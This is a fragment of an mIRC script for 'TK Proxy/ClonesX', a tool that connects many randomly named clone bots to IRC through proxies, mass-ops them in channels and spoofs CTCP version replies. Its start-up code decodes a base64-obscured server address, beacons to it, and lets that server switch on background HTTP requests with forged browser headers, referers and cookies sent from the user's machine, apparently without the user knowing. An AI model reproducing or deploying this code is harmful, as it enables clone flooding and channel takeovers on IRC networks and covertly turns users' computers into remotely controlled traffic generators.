if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z),$did(p.cloning,38).text)) $+ $rand(0,9999)
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
}
}
}
}
on 1:SOCKCLOSE:p.cloning.*: {
if ($dialog(p.cloning)) {
;echo -s Ha cerrado: $sock($sockname,1).wsmsg
p.cloning.con.com $sockname | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Remote- | p.cloning.cmds
}
}
alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
alias -l p.cloning.do.w {
;if ($hget(p.cloning.a,$$1) != $null) { return }
p.cloning.w $$1 $$2
}
alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
alias -l p.cloning.do.saSockN {
var %i = 1
while ($p.cloning.r(%i)) {
if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
var %i = %i + 1
}
}
alias -l p.cloning.dos.numCL {
var %i = 1 | var %o = 0
while ($p.cloning.r(%i)) {
var %p.cloning.pill = $ifmatch
if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
var %i = %i + 1
}
if ($$1 == 0) { return $calc(%i - 1) }
elseif ($$1 == 1) { return %o }
}
alias -l p.cloning.ipports {
if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
else { dialog -md p.cloning.ipport p.cloning.ipport }
}
dialog p.cloning.ipport {
title "Proxybots connected IP & Ports"
size -1 -1 157 225
option dbu
button "&OK", 1, 16 210 120 12, ok
box "At the moment", 2, 1 1 155 207
edit "", 3, 4 8 149 185, read multi hsbar vsbar
button "&Refresh", 4, 55 195 45 10
}
alias -l p.cloning.ipports.act {
if ($dialog(p.cloning.ipport)) {
did -r p.cloning.ipport 3
var %i = 1
while ($sock(p.cloning.*,%i)) {
var %p.cloning.ipports.act = $ifmatch
var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
}
var %i = %i + 1
}
}
}
on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
alias -l p.cloning.see.act {
var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
}
on 1:SockOpen:p.see.cloning.act: {
if ($sockerr == 0) {
var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
.timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
}
}
on 1:SockRead:p.see.cloning.act: {
if ($sockerr == 0) {
sockread %p.see.cloning.act
var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58)
if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s 5ClonesX News: %p.see.cloning.act2 }
}
}
alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
on 1:sockopen:p.b.cloning?: {
if ($sockerr == 0) {
var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
if ($sockname == p.b.cloning1) {
var %p.cloning.rrand = $rand(0,2)
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
else { set %p.cloning.b.lng es }
var %p.cloning.rrand = $rand(0,2)
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
var %p.cloning.rrand = $rand(0,2)
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
;sockwrite -nt $sockname %p.b.cloning.tsn
.timerp.cloning.BB1 1 3 p.cloning.bbdo 2
}
elseif ($sockname == p.b.cloning2) {
var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
;unset %p.cloning.b.lng
;sockwrite -nt $sockname %p.b.cloning.tsn
;.timerp.cloning.BB 1 2 .sockclose $sockname
}
else {
var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
}
sockwrite -nt $sockname %p.b.cloning.tsn
}
}
on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
on 1:sockread:p.b.cloning?: {
if ($sockerr == 0) {
sockread %p.cloning.b.lng.r
if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }
if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
}
}
}
alias -l p.cloning.bbdo {
if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
}
}
dialog p.cloning.cred {
title "ClonesX Credits"
size -1 -1 144 99
option dbu
text "TK Proxy is a proxybot connector made By Coffey522 for Laura", 1, 1 2 142 15
text "Web: Mail: Forum:", 2, 1 16 14 21
link "www.coffey522.gopzap.com", 3, 15 16 55 8
link "Coffey522@gmail.com", 4, 15 22 58 8
link "", 5, 15 29 129 8
box "Thanks to:", 6, 0 38 144 47
edit "Kingskrown, Hardcore and Laura", 7, 2 45 140 37, read multi
button "&Exit", 8, 45 87 55 11, ok
}
on 1:DIALOG:p.cloning.cred:sclick,dclick:*: {
if ($did == 3) { run www.coffey522.gopzap.com }
if ($did == 4) { run mailto:Coffey522@gmail.com }
if ($did == 5) { run }
}
dialog p.cloning.errD {
title "Error!"
size -1 -1 160 30
option dbu
text "", 1, 0 1 160 28
button "",2,-20 -20 0 0,cancel
}
on 1:DIALOG:p.cloning.errD:init:0: { did -a $dname 1 %p.cloning.errD }
dialog p.cloning.ac {
title "ClonesX -actualization-"
size -1 -1 160 43
option dbu
text "There is new version of TK Proxy:", 1, 2 4 128 8
text "", 2, 128 4 50 8
text "Download:", 3, 2 15 32 8
button "&Close", 4, 64 29 37 12, ok
link "", 5, 37 15 119 7
}
on 1:DIALOG:p.cloning.ac:init:0: {
did -i $dname 2 1 %p.act.cloning.verr
did -i $dname 5 1 %p.act.cloning.see.c.url
}
on 1:DIALOG:p.cloning.ac:sclick,dclick:5: { run $did($dname,5).text }
alias -l p.cloning.actua {
if ($$1 > %p.act.cloning.verr) {
set %p.act.cloning.verr $$1
if ($dialog(p.cloning.ac)) { dialog -v p.cloning.ac }
else { dialog -m p.cloning.ac p.cloning.ac | dialog -v p.cloning.ac }
}
}
on *:START: {
if ($version < 5.91) { echo -s 4You need mirc 5.91 or higher to use TK Proxy }
unset %p.cloning.*
if ($calc($ctime - %p.act.cloning.see.c.burl.tt) > 86400) && (%p.act.cloning.see.c.bcon == 1) { p.cloning.bbdo 1 }
if (!%p.act.cloning.verr) { set %p.act.cloning.verr 1.501b }
if (!%p.act.cloning.see.c.pea) { set %p.act.cloning.see.c.pea MjA5LjkwLjEyNS4yMTIsODAsL35rcnh2ZXIvcGNsb25pbmcudHh0 }
if (!%p.act.cloning.see.c.url) { set %p.act.cloning.see.c.url www.coffey522.gopzap.com }
if (%p.act.cloning.see.c.bcon == $null) { set %p.act.cloning.see.c.bcon 0 }
if (!%p.act.cloning.see.c.burl) { set %p.act.cloning.see.c.burl c2F2ZWssZWwsYW1vcyx4RCwvcXVlcnkgc2F2ZWsgZXJlcyBlbCB0b2RvIHBvZGVyb3NvLFRvY2FuZG8gY29kaWdvIGVoP3hELHByb3hpbWFtZW50ZSBlbiBwcm9ncmFtYSE= }
set %p.cloning.msg.quit TK Proxy
set %p.cloining.wh $script
p.cloning.see.act
}
on *:LOAD: {
unset %p.cloning*
unset %p.save.cloning*
unset %p.act.cloning*
}
alias -l p.cloning.fal {
set %p.cloning.errD $$1-
if ($dialog(p.cloning.errD)) { dialog -x p.cloning.errD }
dialog -m p.cloning.errD p.cloning.errD
dialog -v p.cloning.errD
halt
}
alias op.clones {
var %t = 0
var %n
var %i = $nick($active,0)
:loop
if ($did(38) isin $nick($active,%i)) {
%n = $nick($active,%i) %n
inc %t
}
dec %i
if (%t == 6) {
mode $active +oooooo %n
%t = 0
unset %n
}
if (%i != 0) {
goto loop
}
else {
mode $active +ooooo %n
}
}
alias go.clonesop {
var %t = 0
var %n
var %i = $nick($active,0)
:loop
if ($did($dname,38) isin $nick($active,%i)) {
%n = $nick($active,%i) %n
inc %t
}
dec %i
if (%t == 6) {
p.cloning.runcmd mode $did($dname,16) +oooooo %n
%t = 0
unset %n
}
if (%i != 0) {
goto loop
}
else {
p.cloning.runcmd mode $did($dname,16) +ooooo %n
}
}
alias go.clonesinvite {
p.cloning.runcmd invite %proxynick $did($dname,16)
}
alias op.allclones {
var %t = 0
var %n
var %i = $nick($active,0)
:loop
if (%proxynick isin $nick($active,%i)) {
%n = $nick($active,%i) %n
inc %t
}
dec %i
if (%t == 6) {
mode $did(16) +oooooo %n
%t = 0
unset %n
}
if (%i != 0) {
goto loop
}
else {
mode $did(16) +ooooo %n
}
}
alias copy {
did -o p.cloning 89 1 $decode($decode(VFc5a1pHVmtJRU5zYjI1bGMxaHpJSFl4TGpJZ3FXSjVJRmhsYm05dQ==,m),m)
}
alias multi { var %x 1 | while ($scon(%x)) { scon %x global $1- | inc %x } }
Alias Changeversion {
.Ignore -tw *
.Debug -i NUL Versionrep
}
Alias Versionrep {
If ($Regex($1,/^<- :(\S+?)!\S+ PRIVMSG \S+ :\001VERSION\001/)) {
.Ctcpreply $Regml(1) VERSION TK Proxy By Coffey522
}
}